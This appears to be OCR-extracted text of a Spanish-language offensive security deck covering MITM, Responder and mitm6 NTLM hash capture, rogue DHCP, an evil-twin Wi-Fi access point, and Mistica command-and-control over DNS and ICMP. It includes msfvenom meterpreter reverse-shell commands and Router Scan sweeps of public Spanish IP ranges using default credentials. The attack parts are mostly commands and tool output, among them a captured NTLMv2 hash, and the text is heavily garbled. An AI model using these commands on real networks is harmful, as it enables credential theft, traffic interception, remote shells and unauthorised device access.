ARP Spoofing (Intercepcion ARP): Este es uno de los escenarios mas comunes en un ataque MITM. El
atacante envia tramas ARP falsas en la red para asociar su propia direccion MAC con la direccion IP de la
victima, lo que le permite interceptar y redirigir el trafico destinado a la victima.
Intercepcion de Trafico HTTP: Un atacante puede interceptar el trafico HTTP entre un usuario y un
servidor web. Esto puede permitir la captura de credenciales de inicio de sesion y otros datos sensibles.
SSL Stripping: Este ataque implica la eliminacion forzada de la capa de seguridad SSL/TLS de las
conexiones seguras, lo que permite que el atacante pueda acceder a la informacion transmitida de forma
cifrada.
DNS Spoofing: Un atacante puede manipular las respuestas del servidor DNS para redirigir a las victimas a
sitios web maliciosos o falsificados

En redes Wi-Fi publicas o abiertas, un atacante puede configurar un punto
de acceso Wi-Fi falso para interceptar el trafico de los usuarios que se conectan a esa red.

En el contexto del correo electrénico, un atacante podria interceptar o

manipular mensajes y archivos adjuntos en transito.
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MORE IN THE MIDDLE THAN A THURSDAY

RESPONDER

RESPONDER.py es una herramienta de ataque de red que se utiliza para interceptar y obtener
los hashes NTLM de las contrasefias de los usuarios.

La herramienta funciona engafiando a los dispositivos de la red para que se autentiquen con la
herramienta. E1 ataque aprovecha las debilidades en la implementacién del protocolo NTLMv1/v2
de Microsoft para forzar la autenticacién a través de la herramienta y obtener los hashes
NTLM de las contrasefias de los usuarios en la red.

$ responder -l eth0
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MORE IN THE MIDDLE THAN A THURSDAY

RESPONDER

RESPONDER.py es una herramienta de ataque de red que se utiliza para interceptar y obtener
los hashes NTLM de las contrasefias de los usuarios.

La herramienta funciona engafiando a los dispositivos de la red para que se autentiquen con la
herramienta. E1 ataque aprovecha las debilidades en la implementacién del protocolo NTLMv1/v2
de Microsoft para forzar la autenticacién a través de la herramienta y obtener los hashes
NTLM de las contrasefias de los usuarios en la red.

$ responder -l eth0

https://qithub.com/Greenwolf/ntim theft



https://github.com/Greenwolf/ntlm_theft

MORE IN THE MIDDLE THAN A THURSDAY

CUANDO UN DISPOSITIVO EN UNA RED IPV6 NECESITA RESOLVER UN NOMBRE DE DOMINIO, ENVIA UNA
CONSULTA DE DNS EN MULTICAST A TODOS LOS DISPOSITIVOS DE LA RED LOCAL. ESTO SIGNIFICA QUE
CUALQUIER DISPOSITIVO EN LA RED PUEDE RESPONDER A LA CONSULTA Y PROPORCIONAR UNA DIRECCION IP
FALSA, LO QUE PERMITE A UN ATACANTE REALIZAR ATAQUES DE PHISHING, REDIRECCIONAMIENTO DE
TRAFICO Y OTROS TIPOS DE ATAQUES MITM.

MITM6 ES UNA HERRAMIENTA DE CODIGO ABIERTO QUE SE UTILIZA PARA REALIZAR ATAQUES DE TIPO
MAN-IN-THE-MIDDLE (MITM) CONTRA REDES IPV6. LA HERRAMIENTA SE ENFOCA EN EXPLOTAR DEBILIDADES
EN LA IMPLEMENTACION DEL PROTOCOLO DE RESOLUCION DE NOMBRES DE DOMINIO (DNS) EN ENTORNOS DE
RED IPV6.

MITM6 APROVECHA ESTA DEBILIDAD EN LA IMPLEMENTACION DEL PROTOCOLO DE RESOLUCION DE NOMBRES DE
DOMINIO EN REDES IPV6 PARA REALIZAR UN ATAQUE MITM Y REDIRIGIR EL TRAFICO DE RED DE LAS
VICTIMAS A TRAVES DE UN SERVIDOR CONTROLADO POR EL ATACANTE. LA HERRAMIENTA INTERCEPTA LAS
SOLICITUDES DE DNS REALIZADAS POR LOS DISPOSITIVOS EN LA RED Y LAS RESPONDE CON RESPUESTAS
FALSAS QUE CONTIENEN DIRECCIONES IP CONTROLADAS POR EL ATACANTE.

$ sudo mitmé -i eth0

$ responder -| eth0 -wFv

USING'2001:1860:4860::8888

r Hack
d




1PvO address: Tte8V:iI4830:8Z2al:470/1ee8D
Warning: Not filtering on any domain, mitmé will reply to all DNS queries.
Unless this is what you want, specify at least one domain with -d
An error occurred while sending a packet: [Errno 1] Operation not permitted
Note that root privileges are required to run mitmé
An error occurred while sending a packet: [Errno 1] Operation not permitted
Note that root privileges are required to run mitmé6
ey
C
Shutting down packet capture after next packet ...
A
C

[:—(kaliﬁikali)-{~IRT_TO0LSInitn6-0.3.0]
$

[:—(kaliEBkali)-[”/RT_TOOLS/nitnG-O.B.O]
$ sudo mitm6 -i ethe

Starting mitmé using the following configuration:

Primary adapter: eth® [08:00:27:b1:9d:67]

IPv4 address: 10.0.9.6

IPv6 address: fe80::483d:82al:4f67:ee8b

Warning: Not filtering on any domain, mitmé will reply to all DNS queries.
Unless this is what you want, specify at least one domain with -d

IPv6 address fe80::4699:1 is now assigned to mac=08:00:27:b6:da:14 host=PRIN
CIPAL-BLEACH.BLEACH.local. ipv4=

“B*[[C

IPv6 address fe8@::4699:2 is now assigned to mac=08:00:27:bf:4a:34 host=DESK
TOP-O5N3UTI.BLEACH.local. ipv4=

Sent spoofed reply for principal-bleach.bleach.local. to fe80::4699:2

Sent spoofed reply for principal-bleach.bleach.local. to fe8@::4699:2

Sent spoofed reply for WIN-2Z6RQ14IAOX.BLEACH.local. to fe8@::4699:2

Sent spoofed reply for wpad.BLEACH.local. to fe80::4699:2

Sent spoofed reply for wpad.BLEACH.local. to fe80::4699:2

Sent spoofed reply for wpad.bleach.local. to fe80::4699:2

Sent spoofed reply for wpad.bleach.local. to fe80::4699:2

Sent spoofed reply for WIN-2Z6RQ14IAOX.BLEACH.local. to fe8@::4699:2

Sent spoofed reply for WIN-2Z6RQ14IAOX.BLEACH.local. to fe8@::4699:2

Sent spoofed reply for dns.msftncsi.com. to fe80::4699:2

Sent spoofed reply for WIN-2Z6RQ14IAOX.BLEACH.local. to fe80::4699:
Sent spoofed reply for WIN-2Z6RQ14IAOX.BLEACH.local. to fe80@::4699:
Sent spoofed reply for WIN-2Z6RQ14IAOX.BLEACH.LOCAL. to fe80@::4699:
Sent spoofed reply for b.ip6-servers.arpa. to fe80::4699:2

Sent spoofed reply for b.ip6-servers.arpa. to fe80::4699:2

Sent spoofed reply for WIN-2Z6RQ14IAOX.BLEACH.local. to fe8@::4699:
Sent spoofed reply for WIN-2Z6RQ14IAOX.BLEACH.local. to fe80::4699:
Sent spoofed reply for WIN-2Z6RQ14IAOX.BLEACH.LOCAL. to fe80::4699:
Sent spoofed reply for WIN-2Z6RQ14IAOX.BLEACH.LOCAL. to fe8@::4699:
Sent spoofed reply for e.ip6-servers.arpa. to fe80::4699:2

NNN

NNNN

1.04
[HTTP] User-Agent
bKit/537.36 (KHTML,
1.54

: Mozilla/5.@ (Windows NT 10.0; Win64; x64) AppleWe
like Gecko) Chrome/111.0.0.@ Safari/537.36 Edg/111.0.166

[HTTP] NTLMv2 Client 10.0.9.5
[HTTP] NTLMv2 Username : BLEACH\jquerito
[HTTP] NTLMv2 Hash jquerito:: BLEACH: fbblafbd450c7de5:02178715829F078E4

A9B58A177CDB10D:01010000000000006C836188A865D9014066ED00O1AB21BB88000000000200
0800440058004C00580001001E00570049004E002D0032005A00360052005100310034004900
41004F00580004001400440058004C0058002E004C004F00430041004C000300340057004900
4EQ02D0032005A0036005200510031003400490041004F0058002E00440058004C0058002E00
4CO04F00430041004C0005001400440058004C0058002E004C004F00430041004C0008003000
00002000002660111B6CCBCBOB1222171CE19412E1C11E77E19484
0000000000900120048005400

300 00000000

F13AEAASAGAO28EB1B830A001000000 00000
540050002F0077007000610064000000000000000000
[HTTP] WPAD (auth) file sent to 10.0.9.5
[CLDAR] Sent CLDAP pong to fe80::4699:3.
[CLDAP] Sent CLDAP pong to fe8@::4699:3.
[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWe
bKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.166
1.54

[HTTP] User-Agent
bKit/537.36 (KHTML,
1.54

[HTTP] User-Agent
bKit/537.36 (KHTML,
1.54

[HTTP] User-Agent
bKit/537.36 (KHTML,
1.54

[HTTP] Sending NTLM authentication request to 10.0.9.5

[HTTP] User-Agent : Mozilla/5.@0 (Windows NT 10.0; Win64; x64) AppleWe
bKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.166
1.54

[HTTP] User-Agent : Mozilla/5.@ (Windows NT 10.0; Win64; x64) AppleWe
bKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.166
1.54

[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) Applewe
bKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.166
T

[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWe
bKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.166
1.54

[HTTP] GET request from: ::ffff:10.0.9.5 URL: /wpad.dat

[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10. 0 Win64; x64) Applewe
bKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.166
1.54

: Mozilla/5.@ (Windows NT 10.0; Win64; x64) AppleWe
like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.166

: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWe
like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.166

: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWe
like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.166
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DHCP : STRVT ATTACK : ROGE DHCP

DHCP PROCESS

DHCPDISCOVER

Ij] o
DHCPREQUEST
@ —

DHCPACK
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DHCP

IP Address Pool

Exhausted!!!




DHCP :

Adaptador de Ethernet Ethernet:

Sufijo DNS especifico para la conexion.

Descripciodn .

Direccidn fisica.

DHCP habilitado . -
Configuracion automatlca habllltada -

Vinculo: direccidén IPv6 local. . . : fe80:

Direccidon IPv4.

Mascara de subred .

Concesion obtenida.

La concesion expira . -
Puerta de enlace predetermlnada ’
Servidor DHCP .

IAID DHCPv6 .

DUID de cliente DHCPv6
Servidores DNS.

STRVT ATTACK :

r/ Hack
ROGE DHCP

Intel(R) PRO/1000 MT Desktop Adapter

. B8-00-27-6A-36-58
s 51
< 51
ba87 dff8:e5a1:9d42%14(Preferido)
: 192.168.1.43(Preferido)
: 255.255.255.0
: lunes, 27 de noviembre de 2023 4:43:3¢
: lunes, 27 de noviembre de 2023 16:35:¢
: 192.168.1.1
: 192.168.1.1
: 181187623
. 90-01-060-01-2C-ED-41-7E-08-00-27-0BA-3¢
: 80.58.61.250

86 58 61 254

NetBIOS sobre TCP/IP.

C:\Users\Juan\Desktopn>ip a

: habilitado



File Protocols Actions Options Help

o *

Yersinia 0.8.2 r Hack 3 X
/7

O = a Y S

v

Launchattack Editinterfaces Loaddefault Listattacks Clear stats Capture Edit mode Exit

Protocols Packets
CcDP 0
DHCP 0
8021@ O
8021X 0
DTP 0
HSRP 0
ISL 0
n

MDI C

Field Value Description

08:37:43

CDP DHCP 8021Q 802.1X DTP HSRP ISL MPLS STP VTP Yersinialog
SIP DIP MessageType Interface Count Lastseen

Ll Choose protocol attack S
CDP DHCP 8021Q 8021X DTP HSRP ISL MPLS STP VTP
Choose attack
Description DoS

sending RAW packet

@ sending DISCOVER packet v
creating DHCP rogue server
sending RELEASE packet v
Dynamic Host Configuration Prot
Source MAC 02:48:33:66:0.

SIP  0.0.6.0
Op 61 Htype 61 Cancel OK Flags 8000
Cl  0.0.0.8 YI  0.0.0.0 S| 0.6.0.0 Gl 0.0.0.0

CH 02:48:33:66:02:51



DHCP : STRVT ATTACK : ROGE DHCP

1. ifconfig etho

2. echo 1 » /proc/sys/net/ipv4/ip_forward

5. msfconsole -q -x 'use auxiliary/server/dhcp'

6. Adjust the config as you like (see options)
> set srvhost 192.168.13.37 ( IP address of the DHCP server )
> set netmask 255.255.255.0 ( subnet mask )
> set router 192.168.13.1 (default gateway of the DHCP lease)

> set dnsserver 192.168.1.47 (DNS server of the DHCP lease)

r Hack
Vd



DHCP

Stopping
msf6 auxilia

: STRVT ATTACK : ROGE DHCP

jop 1
ry(

) > show options

Module options (auxiliary/server/dhcp):

Name
BROADCAST
DHCPIPEND
DHCPIPSTA
DNSSERVER
DOMAINNAM
FILENAME
HOSTNAME
HOSTSTART
NETMASK
ROUTER
SRVHOST

Auxiliary ac

Name

Current Setting Required Description

192.168
RT 192.168

192.168
E

255:.255

192.168.

tion:

Description

.5.100
St
.1.40

<255.0

1.40

no The
no The
no The
no The
no The
no The
no The

no The

yes The
no The
yes The

broadcast ac
last IP to ¢
first IP to
DNS server 1
optional don
optional fil
optional hos
optional hos
netmask of t
router IP ac
IP of the DF

r Hack
Vd
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DHCP : STRVT ATTACK : ROGE DHCP

Stopping Jjob 1
msf6 auxiliary( ) > show options

Module options (auxiliary/server/dhcp):

S | - - T p——

(base) r——( i)-[~]

Name Current Setting Required Description sudO(msdmﬁ -i 192.168.1.40
BROADCAST no The broadcast ac | | version 0.4 | | 3
DHCPIPEND  192.168.5.100  no The last IP to ¢ /—! :-,—V =0 : = v { '-I
DNSSERVER 192.168.1.40 no The DNS server 1 e ol AT I\ Tl
DOMAINNAME no The optional don 1phe11xathespraw1 org
FILENAME no The optional fil
HOSTNAME no The optional hos E;;:gg:gg; E:% 3N§Che:hstir{$d gn interface: 192é128é1é40

; :50: sin e following nameservers: 8.8.8.
HOSTSTART A The optional hos (22:50:50) [*] No pgrameters weregspecified. Running in full p
NETMASK 255.255:255.0 yes The netmask of t oxy mode
ROUTER no The router IP ac (22:50:51) [*] 192.168.5.93: proxying the response of type 'A'
SRVHOST 192.168.1.40 yes The IP of the Dt for connectivitycheck.gstatic.com

(22:50:51) [*] 192.168.5.93: proxying the response of type 'A’

Auxiliary action:

Name Description
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DHCP : STRVT ATTACK : ROGE DHCP

[ o S —— P — P F— W ——

DHCP attack parameters @ ©

creating DHCP roque server

Server ID 10.1.1.3
StartIP 10.1.1.100
EndIP 10.1.1.150
Lease Time (secs) 3600
Renew Time (secs) 3600
Subnet Mask

Router

DNS Server

Domain

Cancel

Choose protocol attack

sending RAW packet

@ sending DISCOVER packet
creating DHCP rogue server

sending RELEASE packet

* Direccién del servidor
* Nombre DNS

* Pug de la direccién IP
* Direccién de Publicacién Masiva ( )

* Tiempo maximo de espera del ARP (Protocolo de Resolucién de Direcciones segun siglas en inglés)
* MTU (Unidad de Transferencia Mdxima segun siglas en inglés) para la interfaz

* Servidores NIS (Servicio de Informacion de Red segun siglas en inglés)

* Dominios NIS

* Servidores NTP (Protocolo de Tiempo de Red segun siglas en inglés)

* Servidor ¢

* Servidor TFTF sudo dnschef -i 10.10.0.105
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Adaptador de Ethernet Ethernet:

Sufijo DNS especifico para la conexidn. -
Descripcion . . . . . . . . « « « « « . . : Intel(R) PRO/100OO® MT Desktop Adapter

Direccion fisica. . . . . . . . . . . . . : ©8-00-27-OA-36-58
DHCP habilitado . . . . T
Configuracidn automatica hab111tada 5 e si
Vinculo: direccion IPv6 local. . . : fe8@: b387 dff8:e5a1:9d42%14(Preferido)
Direccion IPV4. . . . . . . . . . . . . . : 192.168.1.43(Preferido)
Mascara de subred . . . . . . . . . . . . : 255.255.255.9
Concesidn obtenida. . . . . . . . . . . . : lunes, 27 de noviembre de 2023 4:43:3¢
La concesion expira . . . « « « « « : lunes, 27 de noviembre de 2023 16:35:¢
Puerta de enlace predetermlnada S 0D TR R U T
Servidor'DHCP 'c o & & 5 & 5 s s s s o5 s s s 192.168.1.1
IAID DHCPvE . . . e R e e e YO Y BT 52
DUID de cliente DHCPV6 « « + « + « « .« . . 0O0-801-00-01-2C-ED-41-7E-08-00-27-0A-3¢
Servidores DNS. . . . . . . . . . . 80.58.61.2506
80 58 61 254
NetBIOS sobre TCP/IP. . . . . . . . . . . : habilitado

C:\Users\Juan\Desktop>ipb a
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C:\Users\Juan\Desktop>ipconfig /all

Configuracion IP de Windows

Nombre de host. . . . . . . . . : DESKTOP-2GLICMQ
Sufijo DNS principal -

Tipo de nodo. . . . . : hibrido
Enrutamiento IP hab111tado - = ‘% DO

Proxy WINS habilitado . . . : no

Lista de bidsqueda de sufljos DNS digitechfp.es

Adaptador de Ethernet Ethernet:

Sufijo DNS especifico para la conexidn. . : digitechfp.es

Descripcion . . . . . . « « « « « « « . . : Intel(R) PRO/100O MT Desktop Adapter
Direccidn fisica. . . . . . . . . . . . . : ©8-00-27-PA-36-58

DHCP habilitado . . . e e Rl

Configuraciodn automatlca hab111tada - o ol

Vinculo: direccidén IPv6 local. . . : fe8@: b387 dff8:e5a1:9d42%14(Preferido)
Direccidén IPv4. . . . . . . . . « « . . . : 192.168.5.6(Preferido)

Mascara de subred . . . . . . . . . . . . : 255.255.255.9

Concesion obtenida. . . . . . . . . . . . : lunes, 27 de noviembre de 2023 4:46:00
La concesidn expira . . . w « « « « : lunes, 27 de noviembre de 2023 4:55:59
Puerta de enlace predetermlnada . = om om iy 492, .168.9 .40

Sepvidor-BHCPY S D s e e e e e e e e 92T BRI AD

IAID DHCPV6 . . . R T R T T B O 2

DUID de cliente DHCPVG « + « « + « « .« . : DO-01-00-01-2C-ED-41-7E-08-00-27-0A-36-58
Servidores DNS. . . . . . . . . . . . . . : 192.168.1.40

NetBIOS sobre TCP/IP. . . . . . . . . . . : habilitado

C:\Users\Juan\Desktop>
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Config dir:

PID:

584005

mer
e

jomoza-s2g-cna :: Docume

/tmp/create_ap.wlx00c0ca991829.conf.LgEFLBId

Network Manager found, set ap® as unmanaged device... DONE

Creating a virtual WiFi interface...
Sharing Internet using method:
hostapd command-line interface: hostapd_cli -p /tmp/create_ap.wlx00c0ca991829.conf.

nat

ap0 created.

Configuration file: /tmp/create_ap.wlx00c0ca991829.conf.LgEFLBId/hostapd.conf
Using interface ap® with hwaddr ©0:c@:ca:99:18:2a and ssid "MiFibra-1A20_EXT"
interface state UNINITIALIZED->ENABLED

ap0:
ap0:
|MANA
MANA
MANA
MANA
MANA
|MANA
MANA
MANA
|MANA
MANA
MANA
ap0:
ap0:
ap0:
ap0:
MANA
|MANA
MANA
MANA

AP-ENABLED

- Directed probe
- Directed probe
- Directed probe
- Directed probe
- Directed probe
- Directed probe
- Directed probe
- Directed probe
- Directed probe
- Directed probe
- Directed probe

STA b6:91:c2:3f:57:b4 IEEE 802.11:
STA b6:91:c2:3f:57:b4 IEEE 802.11:
AP-STA-CONNECTED b6:91:c2:3f:
STA b6:91:c2:3f:57:b4 RADIUS:

- Directed probe
- Directed probe
- Directed probe
- Directed probe

request
request
request
request
request
request
request
request
request
request
request

request
request
request
request

for
for
for
for
for
for
for
for
for
for
for

for
for
for
for

SSID
SSID
SSID
SSID
SSID
SSID
SSID
SSID
SSID
SSID
SSID

57:b4

'"MiFibra-EB5SE' from 7c:d9:5c:8f:39:cd
'"MiFibra-EB5SE' from 7c:d9:5c:8f:39:cd
'MiFibra-EB5SE' from 7c:d9:5c:8f:39:cd
'"MiFibra-EB5SE' from 7c:d9:5c:8f:39:cd
'"MiFibra-EB5SE' from 7c:d9:5c:8f:39:cd
'Redmi 9' from 20:72:0d:39:2f:a2

'Redmi 9* from 20:72:0d:39:2f:a2
‘vodafoneAAQWCN' from 3c:8d:20:43:16:61
'vodafoneAAQWCN' from 3c:8d:20:43:16:61
'vodafoneAAQWCN' from 3c:8d:20:43:16:61
'Du-HD4K-29DD8F63"' from 5a:73:f3:a3:d9:f1
authenticated

associated (aid 1)

starting accounting session D33573E43B38DD4F

SSID
SSID
SSID
SSID

'"MiFibra-FC62' from d2:ed:70:60:38:94
'MOVISTAR_7200' from 86:15:d9:3f:c4:c4
'MOVISTAR_7200' from 86:15:d9:3f:c4:c4
'MOVISTAR_PLUS_7200' from 7c:2e:bd:27:01:dc

LgEFLBId/hostapd_ctrl

jomoza-s2g-cna

Docu

men

ts5/T00LS/berate_ap <master» » sudo berate_ap --mana wlx00c0ca991829 wlp@s20f3 MiFibra-1A20_EXT

ts/TOOLS/berate_ap <master> » arp -a

_gateway (192.168.1.1) at 80:78:71:00:72:00 [ether] on wlp0s20f3
? (192.168.12.218) at b6:91:c2:3f:57:b4 [ether] on ap®

? (192.168.1.41) at 7c:2e:bd:27:01:dc [ether] on wlp0s20f3

? (192.168.1.34) at 86:15:d9:3f:c4:c4 [ether] on wlp0s20f3

jomoza-s2g-cna

Doc

men

ts/TOOLS/berate_ap «master> »

https://qithub.com/sensepost/berate

=10)
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Docker

A Docker image has been created for local use. This avoids us having to install Python or dnslib only if we want to test
the tool, it is also very interesting for debug or similar because we avoid the noise generated by other local

https //q |th u b Com/l nCIdeDIQ |ta|/M Istlca applications. To build it we simply follow these steps:

e First build image with:

sudo docker build --tag mistica:latest . (i)

e Second, create the network with:

sudo docker network create misticanw ﬂ;

e Third run the server with:

sudo docker run --network misticanw --sysctl net.ipv4.icmp_echo_ignore_all=1 -v $(pwd):/opt/Mistica -it (&) i

V4 ' : ; % v
M l S I . ' l H e Fourth run the client with:

sudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash i)

https://github.com/tcostam/awesome-command-control
https://qithub.com/k8geqge/PowerLadon



https://github.com/k8gege/PowerLadon
https://github.com/tcostam/awesome-command-control
https://github.com/IncideDigital/Mistica
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(base) —(kali®kali)-[~]

L—$ git clone https://github.com/IncideDigital/Mistica

Cloning into 'Mistica’ ...

remote: Enumerating objects: 264, done.

remote: Counting objects: 100% (264/264), done.

remote: Compressing objects: 100% (153/153), done.

remote: Total 264 (delta 118), reused 238 (delta 95), pack-reused 0
Receiving objects: 100% (264/264), 1.70 MiB | 3.82 MiB/s, done.
Resolving deltas: 100% (118/118), done.

(base) r——(kalit?kaﬂi)—[~]
¢ cd Mistica

(base) r——(hﬁiic)naﬁi)-[~/Mistica]

L$ sudo docker build --tag mistica:latest .
[sudo] password for kali:

Sending build context to Docker daemon  3.99MB
Step 1/5 : FROM python:3.7

3.7: Pulling from library/python

167b8a53ca45: Pull complete

https://github.com/tcostam/awesome-command-control
https://qithub.com/k8geqge/PowerLadon

root@be3c12039daf:/opt/Mistica/Mistica#
pip install pyinstaller

https://www.python.org/downloads/r

elease/python-370/



https://github.com/k8gege/PowerLadon
https://github.com/tcostam/awesome-command-control
https://www.python.org/downloads/release/python-370/
https://www.python.org/downloads/release/python-370/

COMUNICATE TO PWN ::

threading.py'>
Traceback (most recent call last):
File "/usr/local/lib/python3.7/threading.py", line 1273, in _shutdown
t.join()
File "/usr/local/lib/python3.7/threading.py", line 1032, in join
self. wait_for_tstate_lock()
File "/usr/local/lib/python3.7/threading.py", line 1048, in _wait_for_tstat
e_lock
elif lock.acquire(block, timeout):
KeyboardInterrupt

CERD) F__( )-[~/Mistica]

L python3.7 ./mc.py -m shell:dns -k "rc4testkey" -w "--hostname 192.168.8.1

85 --port 53"¢

usage: dns [-h] [--domain DOMAIN] [--hostname [HOSTNAME [HOSTNAME ... ]1]]
[--port PORT] [--query {NS,CNAME,SOA,MX,TXT}]
[--query-timeout QUERY_TIMEOUT] [--multiple] [--max-size MAX_SIZE]
[--poll-delay POLL_DELAY] [--response-timeout RESPONSE_TIMEOUT]
[--max-retries MAX_RETRIES]

dns: error: argument --port: invalid int value: '53¢'

(base) —(k )-[~/Mistica]

L-$ python3.7 ./mc.py -m shell:dns -k "rc4testkey" -w "--hostname 192.168.8.1

85 --port 53"

r Hack
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C2 CHANELS

(base) —( i)-[~/Mistica]
sudo python3.7 ./ms.py -m io:dns -k "rc4testkey" -s "--hostname 192.168.8
.185 --port 53"
dir
build Dockerfile 1logs mc.spec ms.py README.md utils
dist LICENSE mc.py mistica.png overlay sotp wrapper
ipa

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 gqdisc noqueue state UNKNOWN group def
ault qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_lft forever
inet6 ::1/128 scope host
valid_1ft forever preferred_1ft forever
2: eth0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc fq_codel state DO
WN group default glen 1000
link/ether 08:00:27:c7:e1:36 brd ff:ff:ff:ff:ff:ff
3: ethl: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP g
roup default glen 1000
link/ether 08:00:27:58:96:6¢c brd ff:ff:ff:ff:ff:ff
inet 192.168.8.185/24 brd 192.168.8.255 scope global dynamic noprefixrout
e ethl
valid_1ft 42002sec preferred_lft 42002sec
inet6 fe80::676c:a984:5fb0:cb6b/64 scope link noprefixroute

B @ §] & @) ctrl Derecho
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msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
-b "\x00\x0a\x0d" -f ¢ -e x86/shikata_ga_nai -i 5 EXITFUNC=thread PrependSetuid=True -f exe >

reverse.exe
https://github.com/IncideDigital/Mistica

e Executing commands on client system over ICMP:

o Mistica Server: ./ms.py -m io:icmp -k "rc4testkey" -s "--iface ethe"

o Mistica Client: ./mc.py -m shell:icmp -k "rc4testkey"” -w "--hostname x.x.x.x"

https://github.com/tcostam/awesome-command-control
https://github.com/k8gege/PowerlL.adon



https://github.com/k8gege/PowerLadon
https://github.com/tcostam/awesome-command-control
https://github.com/IncideDigital/Mistica

® Running meterpreter_reverse_tcp (linux) over DNS using port forwarding. Payload generated with msfvenom -p
linux/x64/meterpreter_reverse_tcp LPORT=4444 LHOST=127.0.0.1 -f elf -o
meterpreter_reverse_tcp_localhost_4444.bin

© Run msfconsole on server and launch handler with: handler -p 1linux/x64/meterpreter reverse tcp -H
127.98.0.1 -P 5555

o Mistica Server: sudo ./ms.py -m tcpconnect:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "
-address 127.0.0.1 --port 5555"

© Mistica Client: ./mc.py -m tcplisten:dns -k "rc4testkey” -w "--hostname x.x.x.x --port 53" -o "--
address 127.0.0.1 --port 4444"

o Run meterpreter on client: ./meterpreter_reverse_tcp_localhost_4444.bin
e EvilWinrm over ICMP using a jumping machine to access an isolated machine.
o Mistica Server: ./ms.py -m tcplisten:icmp -s "--iface eth®" -k "rc4testkey" -o "--address 127.0.0.1 --

port 5555 --persist" -vv

o Mistica Client: python.exe .\mc.py -m tcpconnect:icmp -w "--hostname x.x.x.x" -k "rc4testkey" -o

address x.x.x.x --port 5985 --persist" -vv

o EvilWinrm Console (on C2 machine): evil-winrm -u Administrador -i 127.8.0.1 -P 5555


https://github.com/k8gege/PowerLadon
https://github.com/tcostam/awesome-command-control
https://github.com/IncideDigital/Mistica
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HUNTING RANGES

https://4it.me/qgetlistip?cityid=5005 https://www.proxynova.com/ip-ranges/

me Clear || Draw Circle

Rangos de IP de ciudades = ————

EL MORALET

o £l Campello

" " " 2 Y Urb.
Busque rangos de IP de ciudades en Rusia y el mundo. Puede averiguar qué dire Villarhove 4 Ca
Mutxamel ampell

que le interesa. iblanco Lo

MilP o5 Las Mezquitas

. MG San Juan  Fabraquer,
Datos del Domicilo Mapnn del Fenollar San Vicente gedlicatite)
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Capitana oA Playad
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o El Rebolledo = B (Alacant)
2mRdesed §Gocgle 1 GeogrNackonal | Téminos | Notficarun problema deMa
Seleccionando una base Formato de salida
Precios de dominio IP Range 1P Count
da R

Todeslosinstrumentos 88.22.17.024 2 Alicante, Vale Telefonica De Espa

#No quieres ) X

ganar dinero Rangos Alicante, Valencia Telefonica De
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https://4it.me/getlistip?cityid=5005
https://www.proxynova.com/ip-ranges/
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[+] COMMON PORTS
[T (Common routers web service) — 80 443 8080 8008 8443 4444 e
['] (Common proxies) — 8001 8002 8003 8004 8005 8006 8007 8009 s CAN
8081 8082 8083 8084 8085 8086 8087 8088 8089 9001 N—

['l (Admin services) — 10000 10001 10443
['] (Cameras and other aplications ) — 1080 666 445 3128 6588 1241 2082

['] Credencials
admin:1234, admin:admin, root:toor, guest:guest, cisco:cisco...

['] Banner Grabbing Fabricant banning - Movel, versions...
['] Scraping
- Authenticated Scraping
Regex (SSID, ESSID, Wireless config, Network config... )







M Router Scan (main) A
» Detect proxy servers
M Use HNAP 1.0
[ case senstive [~] all Password: Vi 5QLite Manager RCE
Search all admin M Hudson Java Serviet

Copyright © Stas'™ Corp. 2018
http://stascorp.com

Realtime Stats Good Results  Search Results  Wireless Networks

< Main Menu >

Options: Follow last line Default tab for AutoSave

IP Al *  Time {ms) Status .Server name | Realm name / Device type Radio Off Hidden BSSID Security
5.2( 78 Done - Wifi-7628

5.2( 265 Done +"Avantum Works GCD12"
5.2(2 704 Done T Avantomrworks GER T2t
5.2( 359 Done ¢ Hipcam C6F0SQZ3NOPNL2 20221026 | ¥23.1.33.16.3 <not accessible >

5.2(8 Done TP-LINK TL-MR&400 18:06:C7:96:C8:9A Homedes@Technology
5.2( 344 Done +"Avantum Works GCD12"
5.2( 203 Done +"Avantum Works GCD12"
o218 pone B sigedas IP 2.139.160.9 esta ubicada en Collado-Villalba,
5.2( 297 Done 1D-Link DWR-512, firmware: ¥2.01 78:54:2E:A0:52:1C  WEBBOX Madrid, ES.

5.2(% 78 Done : D-Link DWR-921, firmware: ¥3.00 Barrios —
5.2( Cancelled JUser

5.2( Done +"Avantum Works GCD12"
5.20= Done : Hipcam C6F0SgZ3N0PgL2 20221026 | ¥23.1.33.16.3 <not accessible>
5.2( Cancelled +"Avantum Works Server" 2 admin:admin 9

Bordeaux

5.2(% Done ¢D-Link DWR-512, firmware: ¥1.07 84:C9:B2:E3:1B:C7 MOVISTAR 8rag Temporis_IP151
S.2( Done +"Avantum Works GCD12" =
5.2( Done  OpenWrt LuCl
S.20= Done ¥ Hikvision App-webs DS-2CD2642FWD-12S
5.24 Error occured Erconmm Wirire
Error occured Sercomm WiFire
